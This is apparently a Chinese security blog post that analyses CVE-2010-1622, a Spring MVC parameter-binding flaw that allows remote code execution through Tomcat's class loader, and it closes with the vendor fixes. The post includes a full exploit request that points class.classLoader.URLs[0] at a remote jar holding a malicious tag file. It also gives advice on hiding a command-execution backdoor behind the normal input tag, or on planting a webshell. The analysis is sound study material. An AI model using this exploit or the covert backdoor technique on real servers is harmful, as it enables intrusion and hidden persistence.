CVE-2010-1622-SpringMVC框架任意代码执行漏洞
最近新出了一个0day,原理和利用方式和CVE-2010-1622比较像,所以先学习一下CVE-2010-1622
没有进行漏洞复现,截图取自其他blog
1. 介绍
CVE-2010-1622因为Spring框架中使用了不安全的表单绑定对象功能。这个机制允许攻击者修改加载对象的类加载器的属性,可能导致拒绝服务和任意命令执行漏洞。拒绝服务属于这个漏洞的其他玩法,本文只介绍RCE。
Versions Affected:
Spring 3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)Earlier versions may also be affected
Tomcat 6.0.28版本及以前
2. 利用限制
3. 漏洞原理
利用了springmvc的参数自动绑定,配合数组变量覆盖,造成了class.classLoader.URLs[]可以被控制,之后发生了RCE
4. 前置知识
Java Beans API
JavaBean是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。JavaBean详情
内省(Introspector) 是Java 语言对 JavaBean 类属性、事件的一种缺省处理方法。其中的propertiesDescriptor实际上来自于对Method的解析。
如我们现在声明一个JavaBean—Test
1 | package com.alter.bean; |
在类Test中有私有属性id,我们可以通过getter/setter方法来访问/设置这个属性。在Java JDK中提供了一套 API 用来访问某个属性的 getter/setter 方法,这就是内省。
JDK内省类库:
PropertyDescriptor类:
PropertyDescriptor类表示JavaBean类通过存储器导出一个属性。主要方法:
getPropertyType(),获得属性的Class对象;getReadMethod(),获得用于读取属性值的方法;getWriteMethod(),获得用于写入属性值的方法;hashCode(),获取对象的哈希值;setReadMethod(Method readMethod),设置用于读取属性值的方法;setWriteMethod(Method writeMethod),设置用于写入属性值的方法。
Introspector类:
getBeanInfo是类方法,可以拿到一个JavaBean的所有信息getPropertyDescriptors(),获得属性的描述,可以采用遍历BeanInfo的方法,来查找、设置类的属性。
通过这两个类的比较可以看出,都是需要获得PropertyDescriptor,只是方式不一样:前者通过创建对象直接获得,后者需要遍历,所以使用PropertyDescriptor类更加方便。
因为内省操作非常麻烦,所以Apache开发了一套简单、易用的API来操作Bean的属性——BeanUtils工具包(这里只是简单介绍,后文不涉及)。
- 获得属性的值,例如,
BeanUtils.getProperty(userInfo,"userName"),返回字符串 - 设置属性的值,例如,
BeanUtils.setProperty(userInfo,"age",8),参数是字符串或基本类型自动包装。设置属性的值是字符串,获得的值也是字符串,不是基本类型。
BeanUtils的特点:
- 对基本数据类型的属性的操作:在
web开发、使用中,录入和显示时,值会被转换成字符串,但底层运算用的是基本类型,这些类型转到动作由BeanUtils自动完成。 - 对引用数据类型的属性的操作:首先在类中必须有对象,不能是
null,例如,private Date birthday=new Date();。操作的是对象的属性而不是整个对象,例如,BeanUtils.setProperty(userInfo,"birthday.time",111111);
Introspector类提供了两种方法来获取类的bean信息
1 | BeanInfo getBeanInfo(Class beanClass) |
这里就出现了一个使用时可能出现问题的地方,当没有使用stopClass,这样会使得访问该类的同时访问到Object.class。因为在java中所有的对象都会默认继承Object基础类
而又因为它存在一个getClass()方法(只要有 getter/setter 方法中的其中一个,那么 Java 的内省机制就会认为存在一个属性),所以会找到class属性。
1 | package com.alter.bean; |

其中后三个属性是我们预期的(虽然没有pass属性,但是有getter方法,所以内省机制就会认为存在一个属性),而class则是对应于Object.class。
如果我们接着调用
1 | Introspector.getBeanInfo(Class.class); |

可以看到关键的classLoader出现了
SpringMVC如何实现数据绑定
SpringMVC中当传入一个http请求时会进入DispatcherServlet的doDispatch,然后前端控制器请求HandlerMapping查找Handler,接着HandlerAdapter请求适配器去执行Handler,然后返回ModelAndView,ViewResolver再去解析并返回View,前端解析器去最后渲染视图。

在这个过程中我们这里主要关注再适配器中invokeHandler调用到的参数解析所进行的数据绑定(在调用controller中的方法传入参数前进行的操作)。
无论是spring mvc的数据绑定(将各式参数绑定到@RequestMapping注解的请求处理方法的参数上),还是BeanFactory(处理@Autowired注解)都会使用到BeanWrapper接口。

过程如上,BeanWrapperImpl具体实现了创建,持有以及修改bean的方法。
其中的setPropertyValue方法可以将参数值注入到指定bean的相关属性中(包括list,map等),同时也可以嵌套设置属性。
变量覆盖问题
BeanWrapperImpl的作用:
我们都知道,Spring里面有一个很重要的概念就是容器,容器里面存放的是用户或者系统本身创建的bean对象。Spring通过容器创建和管理这些bean对象,并把他们注入到需要使用这些对象的方法或者类中。
在spring中org.springframework.beans.BeanWrapperImpl这个类发挥了很大的作用,它直接或间接实现了两个接口,BeanWrapper和PropertyAccessor。第一个接口定义了持有bean的方法,第二个接口定义了获取和修改bean的属性的方法。所以BeanWrapperImpl的功能就是具体实现了创建,持有以及修改bean的方法。
其中我们先重点提一下BeanWrapperImpl中的setPropertyValue方法。通过多种不同参数的setPropertyValue的方法,可以将简单类型的参数值或者复杂类型的参数值,比如array,list,map等,注入到指定bean的相关属性中。
我们来看一下demo
1 | public class User { |
新建两个类User和UserInfo,其中User的name和UserInfo中id有get和set方法,而UserInfo中的user,number和names[]数组只有get方法。
1 | /*发送请求*/ |
结果中,id、number、name如预期接收正常,因为没有set方法,class和classLoader同样没有set方法,所以失败。
接下来的names反而发现赋值成功了,这就比较有意思了,因为names这里我们没有设置set方法它却成功赋值。
看看怎么回事。
上面我们分析流程提到了BeanWrapperImpl的setPropertyValue方法是用来绑定赋值的。
跟进getPropertyValue方法
发现是从CachedIntrospectionResults获取PropertyDescriptor。我们来看下CachedIntrospectionResults如何来的。
看到了熟悉的Introspector.getBeanInfo。这也就是我们上面讲过的内省,因此可以理解它为什么它能去获取到没有set的属性。
接着看赋值操作
看代码可以知道当判断为Array时会直接调用Array.set,由此绕过了set方法,直接调用底层赋值。后面同样List,Map类型的字段也有类似的处理,也就是说这三种类型是不需要set方法的。对于一般的值,直接调用java反射中的writeMethod方法给予赋值。
5. 漏洞复现
从之前测试的图我们可以看到程序运行环境的classLoader。随着web容器的不同,大家对这个东西的实现方式不一样。在tomcat上,也就是spring mvc拿到tomcat上运行时,它会变成:
1 | org.apache.catalina.loader.WebappClassLoader |
可以从tomcat的api文档中,查到这个类的一些字段:http://tomcat.apache.org/tomcat-6.0-doc/api/org/apache/catalina/loader/WebappClassLoader.html
我们可以看到WebappClassLoader类,继承URLClassLoader类,URLClassLoader的一个方法叫做getURLs,返回一个数组。而由上面的分析可知:只要一个getter返回的是一个数组,就会绕过安全限制。所以接下来我们就尝试用这个URLs[]来搞事情。
getURLs方法,其实用的地方真的不多,只有在TldLocationsCache类,对页面的tld标签库处理时,才会从这一堆URL中获取tld文件。它的原理是从URL中指定的目录,去获取tld文件,允许从网络中获取tld文件。当一个tld放在jar中时,可以通过
1 | jar:http://vps/test.jar!/ |
这个URL,会下载到服务器一个jar文件,然后从jar文件中,寻找tld文件,并且根据tld文件,做spring mvc标签库的进一步解析。
tld 和 tag 文件
tld文件
tld是标签库描述文件,用于存放标签名字和类的映射用的
标签库:它把类标签和后面的Java类映射起来,它减少了页面的代码,使页面更加的清晰,其实标签最后还是被解释成后台的java代码。
原理是,在用户在jsp页面中使用标签时,系统首先会先到xml文件中的 <taglib>标签中的<taglib-uri>和<taglib-location>这两对标签找到相对应的扩展名为tld文件,然后在 tld文件中的映射再找到相对应的taglib类。
创建的每个标签都必须在tld文件中声明,如果要在jsp页面用jsp的标签,必先先实现定义标签的类,然后在标签库描述文件(TLD)中将写好的类映射成jsp标签,然后在jsp页面中使用定义好的标签,然后就可以实现动态的jsp信息。
tag文件
在Web应用中许多JSP页面都有相同的信息,如都需要相同的导航栏和尾页等。如果能把相同的信息都形成一种特殊的文件,而且各个JSP页面都可以使用这种特殊的文件,那么就能实现代码的复用,维护性就比较好了
实现代码复用还有另外两种方式,include指令和include动作,那就来说说他们的不足吧,首先不论是include指令还是include动作处理的都是单一的JSP文件,用户可以通过输入地址栏的方式来访问响应的JSP文件,这时候用户访问的JSP文件可能只是一个导航栏,这不是设计者希望看到的.include指令的耦合性太大,include动作虽然耦合性较小但是能放在Web服务目录的任意子目录中,不仅显的杂乱无章,还不利于管理和维护.
使用tag文件就能很好的解决这一缺点,tag文件不仅能实现动态加载实现代码复用,还不能让用户直接访问,tag文件放在指定的目录下,维护起来会比较方便(很多时候会让tag文件去处理数据,而JSP页面只是去显示数据,实现数据显示和数据处理分离,这样就比较便于维护了)
我们看怎么去用这两文件去RCE:
上面提到Spring会通过 TldLocationsCache类(jsp平台对jsp解析时用到的类)从WebappClassLoader里面读取url参数,并用来解析TLD文件在解析TLD的时候,是允许直接使用jsp语法的,通过漏洞我们可以对classLoader的URLs[] 进行赋值操作,然后Spring会通过平台解析,从URLs[]中提取它所需要的TLD文件,并在执行jsp时运行这个TLD所包含的内容。
有了这个思路,利用方法就是构造一个带有恶意TLD文件的jar,通过HTTP将jar的地址告诉URLs[],然后坐等执行。
环境:tomcat-6.0.26 spring-webmvc-3.0.0.RELEASE
创建一个工程,META-INF中放入spring-form.tld和tags/InputTag.tag,打成jar包

1 | //spring-form.tld |
编译出的jar包放到web上提供下载SpringMVC中编写一个jsp
1 | //hello.jsp |
controller如下:
1 |
|
部署项目后打开链接http://localhost:8088/hello?class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/test.jar!/
漏洞发布者写的POC原本页面会显示一个文本框才对,现在变成了一个空白,并且后台执行命令
mkdir /tmp/PWNED
注意,是所有的页面,凡是有input的地方,都会变成空白,这个标签直接被替换掉。
很显然,漏洞发布者提供的EXP是不符合期望的,一旦用了之后,被攻击的网站立刻显示异常,傻子都知道出了问题了。应该符合“想让它执行,就执行,不想让执行,就显示正常“。
下载spring-form.tld,给其中的input tag改名,name改为xxx:
1 | <tag> |
随便什么名字都可以。新加入一个tag,叫做input:
1 | <tag-file> |
InputTag.tag的内容(关键代码):
1 | ... |
精华就在这里,替换了原来的
input tag,并且还拥有input tag的功能。页面显示的还是原来的input,不影响原本的业务逻辑,页面看不出什么来。
只有在攻击者提交xxxcmd时,会执行系统命令,其实这也不够和谐,最和谐的,是搞个webshell出来。
6. 漏洞流程
首先setPropertyValue将对应参数填入URLs[],也就是将值赋给了classloader(数据绑定)
接着在渲染jsp页面时,Spring会通过Jasper中的TldLocationsCache类(jsp平台对jsp解析时用到的类)从WebappClassLoader里面读取url参数(用来解析TLD文件,在解析TLD的时候,是允许直接使用jsp语法的)在init时通过scanJars方法依次读取并加载。
这里主要是在ViewRwsolver视图解析渲染流程中,其他细节我们不用关注,在完成模版解析后,我们可以看下生成的文件,发现除了_jsp.clss还有我们从jar中下载的恶意代码InputTag_tag.class已经被编译到本地。
首先来看hello_jsp.java,因为实际上jsp就是一个servlet,所以最后生成是一个java文件。
其中static块里面可以看到引入的外部jar包,然后代码中对应<spring:form>和<spring:input>标签的是_jspx_meth_form_005fform_005f0,_jspx_meth_form_005finput_005f0两个方法。new了一个InputTag_tag类并执行doTag()方法,对应我们之前的InputTag.tag,看它生产的java文件中doTag()方法
发现是这里最后执行了之前tag中写的代码导致RCE。
简单总结下主要流程:exp->参数自动绑定->数组覆盖classLoader.URLs[0]->WebappClassLoader.getURLs()->TldLocationsCache.scanJars()->模板解析->_jspx_th_form_005finput_005f0.doTag()->shellcode
学习其他博客的部分分析:Spring通过调用总入口DispatcherServlet.java的doDispath方法来路由处理本次的http请求。通过源码,我们可以看到doDispatch的两个参数分别为HttpServletRequest request, HttpServletResponse response,也就是当前请求的request和response对象。这是由tomcat容器传递给spring的。
我们先来总体预览一下doDispatch对于本次http请求的执行过程。其实主要就是有3步。
a) 通过传入的Rquest,获取响应处理的controller
b) 传入get参数,执行controller的方法
c) 获取controller中相关方法的返回值,渲染模版对象,返回response
Spring为了达到很好的扩展性,自定义了一种类型,handler,handler可以是任意框架的执行类,对于spring就是controller,对于stucts就是action.
1 | /*DispatcherServlet.java#doDispatch*/ |
下面就是具体对获取的handle对象进行处理了。框架在处理http请求的时候不是使用的handle类,而肯定是使用的handler中的某个方法。对于各种不同handle中的方法,Spring都是通过HandlerAdapter的handle方法,进行统一调用,然后返回我们熟悉的spring的ModelAndView对象。
1 | ModelAndView mv = null; |
当ModelAndView对象返回之后,再调用:
1 | render(mv, processedRequest, response); |
从而真正将模版渲染。这行代码也就是我们触发shellcode的地方。
进入ha.handle,经过一系列checkandparper之后,返回的是invokeHandlerMethod(request, response, handler);这个方法的返回值。
进一步跟进代码,最终发现,执行任务的是ServletHandlerMethodResolver对象,它首先调用handle中的方法,返回一个我们不知道是什么的Object值,然后调用getModelAndView获取ModelAndView。代码如下:
1 | Object result = methodInvoker.invokeHandlerMethod(handlerMethod, handler, webRequest, implicitModel); |
进入invokeHandlerMethod
1 | Object[] args = resolveHandlerArguments(handlerMethodToInvoke, handler, webRequest, implicitModel); |
其中,resolvEHandlerArguments是解析出controller方法的参数的,解析完参数之后进一步就是调用解析结果开始执行具体方法,也就是doInvokeMethod
所以Object result代表的就是:Execute方法执行后的返回值 “success”!
这只是spring执行controller中的方法的过程。
详细分析
7. 利用条件
spring mvc远程代码执行必须使用了spring标签库才可以,否则不能最终加载tld文件。- 需要该应用使用了对象绑定表单功能,其次由代码可知需要是该应用启动后第一次的
1
2
3
4
5
6
7
8
9
10
11
12
13//TldLocationsCache.class
private void init() throws JasperException {
if(!this.initialized) {
try {
this.processWebDotXml();
this.scanJars();
this.processTldsInFileSystem("/WEB-INF/");
this.initialized = true;
} catch (Exception var2) {
throw new JasperException(Localizer.getMessage("jsp.error.internal.tldinit", var2.getMessage()));
}
}
}jsp页面请求即第一次渲染进行TldLocationsCache.init才可以,否则无法将修改的URLs内容装载,也就无法加载我们恶意的tld。 spring mvc拒绝服务漏洞只是一个随机出现的福利,因为服务器上的应用程序不一定class加载顺序倒置就会出问题。- 原公布者的
POC不建议,用了之后服务器只能等待重启了(因为poc会干扰原页面的执行) - 由于
exp都是替换了input tag,所以必须当前页面中存在input tag,才能触发,当然一个正常的web应用中必然有这样的页面。 - 只有在
TldLocationsCache类,对页面的tld标签库处理时,才会用到getURLs方法,从这一堆URL中获取tld文件。
它的原理是从URL中指定的目录,去获取tld文件,允许从网络中获取tld文件。当一个tld放在jar中时,可以通过jar:http://xxx/xxx.jar!/去获取。
这个URL,会下载到tomcat服务器一个jar文件,然后从jar文件中,寻找tld文件,并且根据tld文件,做spring mvc标签库的进一步解析。Tld文件自己有个标准(详见jsp标签库),在解析的时候,是允许直接使用jsp语法的,所以这就出现了远程代码执行的最终效果。
8. 修复
Tomcat:
虽然是spring的漏洞,但tomcat也做了修复
Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.
tomcat6.0.28版本后把getURLs方法返回的值return repositoryURLs;改成了return repositoryURLs.clone();,使的我们获得的拷贝版本无法修改classloader中的URLs[]
Spring:spring则是在CachedIntrospectionResults中获取beanInfo后对其进行了判断,将classloader添加进了黑名单。

Refer
http://rui0.cn/archives/1158
https://www.inbreak.net/archives/377
https://www.iteye.com/topic/1123382
https://blog.csdn.net/dingodingy/article/details/84705444
https://www.cxyck.com/article/1214.html
